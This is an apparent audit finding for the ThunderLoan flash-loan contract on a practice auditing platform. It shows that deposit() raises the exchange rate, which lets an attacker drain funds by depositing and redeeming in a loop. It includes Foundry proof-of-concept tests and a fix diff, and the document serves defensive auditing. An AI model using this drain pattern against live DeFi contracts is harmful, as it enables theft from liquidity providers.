Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Exchange rate updation in ThunderLoan::deposit() function is insignificant and leads to drain of funds

Summary

The exchange rate updation inside the ThunderLoan::deposit() function is insignificant and can lead to drainage of funds.
The protocol mentions that liquidity providers can gain interest on their asset tokens on the basis of flash loans, then they should not be provided interest when they deposit because every time they deposit they get some interest and can redeem higher amount even if they redeem just after depositing the funds.

Vulnerability Details

  • Malicious actors can call the deposit() followed by redeem() function multiple times to gain interest every time they deposit the tokens and redeem just after depositing and get more amount then they deposited. This can be repeated a number of times to gradually drain funds from the protocol and get interest without a User taking flash loans.

  • Also, liquidity providers will not be able to redeem their amount corresponding to minted Asset Token balance as the attacker drained the funds.

##PoC
Include the below test inside test/unit/ThunderLoanTest.t.sol
To run the test:

  1. forge test --mt test_AttackerCanDrainTokens -vv

  2. forge test --mt test_LiquidityProviderCantRedeem -vv

modifier additionalSetUp() {
address attacker = makeAddr("attacker");
uint256 ATTACKER_START_TOKEN_BALANCE = 10e18;
tokenA.mint(attacker, ATTACKER_START_TOKEN_BALANCE);
_;
}
function _depositAndRedeem() internal {
address attacker = makeAddr("attacker");
uint256 ATTACKER_START_TOKEN_BALANCE = 10e18;
uint256 amount = ATTACKER_START_TOKEN_BALANCE;
uint256 balanceBefore = tokenA.balanceOf(attacker);
AssetToken tokenA_asset = thunderLoan.getAssetFromToken(tokenA);
uint256 exchangeRate = tokenA_asset.getExchangeRate();
// The value of Asset Token minted on depositing tokenA
uint256 mintAmt = (amount * tokenA_asset.EXCHANGE_RATE_PRECISION()) / exchangeRate;
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), amount);
thunderLoan.deposit(tokenA, amount);
vm.stopPrank();
assertEq(tokenA_asset.balanceOf(attacker), mintAmt);
vm.prank(attacker);
thunderLoan.redeem(tokenA, mintAmt);
uint256 balanceAfter = tokenA.balanceOf(attacker);
assertEq(tokenA_asset.balanceOf(attacker), 0);
assert(balanceAfter > balanceBefore);
console.log("Balance Before -", balanceBefore, "\n");
console.log("Balance After -", balanceAfter, "\n\n");
}
function test_AttackerCanDrainTokens() public setAllowedToken hasDeposits additionalSetUp {
address attacker = makeAddr("attacker");
for (uint256 i = 0; i < 100; i++) {
// attacker deposits and redeem
_depositAndRedeem();
}
uint256 balanceAfter = tokenA.balanceOf(attacker);
console.log(balanceAfter);
}
function test_LiquidityProviderCantRedeem() public setAllowedToken hasDeposits additionalSetUp {
// attacker deposits and redeem, gets more tokenA value when redeems
_depositAndRedeem();
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 amountOfAssetToken = (DEPOSIT_AMOUNT * assetToken.EXCHANGE_RATE_PRECISION()) / assetToken.getExchangeRate();
vm.prank(liquidityProvider);
vm.expectRevert("ERC20: transfer amount exceeds balance");
thunderLoan.redeem(tokenA, amountOfAssetToken);
}

Impact

Drain of funds from the protocol and liquidity providers can't redeem for their Asset Token balance.

Tools Used

Manual Review, Foundry Tests (Forge)

Recommendations

Exchange rate should not be increased when liquidity providers make a deposit. So, modify the ThunderLoan::deposit() function.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.